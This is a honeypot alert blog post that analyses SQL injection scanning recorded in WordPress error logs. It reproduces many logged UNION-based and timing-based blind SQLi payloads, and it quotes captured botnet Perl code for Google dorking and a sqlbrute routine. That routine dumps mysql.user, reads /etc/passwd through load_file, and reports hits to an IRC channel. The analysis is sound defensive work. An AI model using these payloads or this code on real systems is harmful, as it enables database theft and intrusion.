[Honeypot Alert] SQL Injection Scanning Detected in WordPress Error Logs

Normally for these Web Honeypot alert blog posts, I show snippets of the Apache access_log file with attack payloads in them. Today, however, I want to shift gears a bit and show web attack data taken from the WordPress error_log file instead.

WordPress Error Logging

WordPress admins can enable error logging by updating their wp-config.php file like this:

@ini_set('log_errors','On');@ini_set('display_errors','Off');@ini_set('error_log','/home/example.com/logs/php_error.log');

By turning log_errors on, WordPress will now log error information to the file specified. With this configuration in place, you can now review the error_log file for signs of web attacks just like we monitor the access_log file on our web honeypots.

SQL Injection Scanning

We picked up some SQL Injection scanning today in the error_log file. Here are the entries:

[07-Dec-2012 02:40:49] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = -1\'' at line 1 for query SELECT text, author_id, date FROM  WHERE id = -1\'[07-Dec-2012 02:40:50] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536--' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536--[07-Dec-2012 02:40:53] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:40:55] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:40:57] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:40:59] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:00] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:02] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:04] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:06] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:08] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:10] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:13] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:15] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:17] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:18] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:20] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:21] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:23] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:25] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:27] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:28] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:31] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:38] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:39] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:50] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:52] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:54] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:41:59] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:42:07] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:42:09] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:42:13] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--[07-Dec-2012 02:42:15] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x313032353438303035' at line 1 for query SELECT text, author_id, date FROM  WHERE id = 999999.9 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--

These automated scans (~1 request/2 sec), is a brute force attempt to dumb the current DB table. The attack appends an extremely large hex values that will decode to a "null" value in the hopes of matching the correct number of columns in the table.

Blind SQL Injection Scans

In addition to the attacks shown previously, the attacker also attempted two types of bling SQLi attacks by using timing functions such as "waitfor delay" and "benchmark":

[07-Dec-2012 02:43:21] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = -1; if (1=1) waitfor delay \'00:00:05\'--' at line 1 for query SELECT text, author_id, date FROM  WHERE id = -1; if (1=1) waitfor delay \'00:00:05\'--[07-Dec-2012 02:43:24] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = -1\'; if (1=1) waitfor delay \'00:00:05\'--' at line 1 for query SELECT text, author_id, date FROM  WHERE id = -1\'; if (1=1) waitfor delay \'00:00:05\'--[07-Dec-2012 02:43:27] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = -1 and if(1=1,BENCHMARK(8623333,MD5(0x41)),0)' at line 1 for query SELECT text, author_id, date FROM  WHERE id = -1 and if(1=1,BENCHMARK(8623333,MD5(0x41)),0) [07-Dec-2012 02:43:30] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = -1\' and if(1=1,BENCHMARK(8623333,MD5(0x41)),0) and \'x\'=\'x' at line 1 for query SELECT text, author_id, date FROM  WHERE id = -1\' and if(1=1,BENCHMARK(8623333,MD5(0x41)),0) and \'x\'=\'x

Google Searching for Scale of Scanning

So, how wide-spread is this scanning? If we do a Google search for the first Blind SQLi payload (if (1=1) waitfor delay '00:00:05'--) we get the following results:

Looks like roughly 39,600 pages have been indexed with that exact string. An interesting question here is - "How/Why has Google indexed all of these SQLi attack requests?" One possibility is the fact that many botnet owners use their compromised clients to conduct Google Searching/Dorking to identify potential targets. Here is a section taken from a botnet script that we captured from a previous RFI attack against our web honeypots -

sub google() {    my @list;    my $key = $_[0];    for (my $i=0; $i<=400; $i+=10){        my $search = ("http://www.google.com/search?q=".&key($key)."&num=100&filter=0&start=".$i);        my $res = &search_engine_query($search);        while ($res =~ m/<a href="\"?http:\/\/([^">\"]*)\//g) {            if ($1 !~ /google/){            my $link = $1;                my @grep = &links($link);                push(@list,@grep);            }        }    }    return @list;}

Once targets are selected, then the botnet owners can instruct their zombie clients to execute similar attacks as what we saw here in our error_log file. Here is a section of attack code from the botnet script file called "sqlbrute()":

sub sqlbrute() {   my $situs=$_[0];   my $chan  =$_[1];   my $engine=$_[2];   my $columns=20;my $cfin.="--";my $cmn.= "+";for ($column = 0 ; $column < $columns ; $column ++) { $union.=','.$column; $inyection.=','."0x6c6f67696e70776e7a";    if ($column == 0)      {    $inyection = '';          $union = '';      }    $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;    $response=get($sql);    if($response =~ /loginpwnz/)  {         $column ++;         $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;   &msg("$chan","$sqllogo(4@3$engine15)15(4@9SQL15)13 $sql ");         $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;         $response=get($sql)or die("[-] Impossible to get Information_Schema\n");         if($response =~ /loginpwnz/)          {          $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;   &msg("$chan","$sqllogo(4@3$engine15)15(4@9SQL15)(4@13INFO_SCHEMA15)13 $sql ");          }         $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;         $response=get($sql)or die("[-] Impossible to get MySQL.User\n");         if($response =~ /loginpwnz/)          {          $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;   &msg("$chan","$sqllogo(4@3$engine15)15(4@9SQL15)(4@13USER15)13 $sql ");          }         else          {          } while ($loadcont < $column-1)    {  $loadfile.=','.'load_file(0x2f6574632f706173737764)';  $loadcont++;    }    $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin; $response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");         if($response =~ /root:x:/)          {   &msg("$chan","$sqllogo(4@3$engine15)15(4@9SQL15)(4@13Load File15)13 $sql ");   }         else          {          }           foreach $tabla(@tabele)                {                  chomp($tabla);                  $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;     $response=get($sql)or die("[-] Impossible to get tables\n");                  if($response =~ /loginpwnz/)                    {                    $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;     &msg("$chan","$sqllogo(4@3$engine15)15(4@9SQL15)(4@13Tabel15)13 $sql ");     &tabelka($situs,$tabla,$chan,$engine);                    }                }     } }   }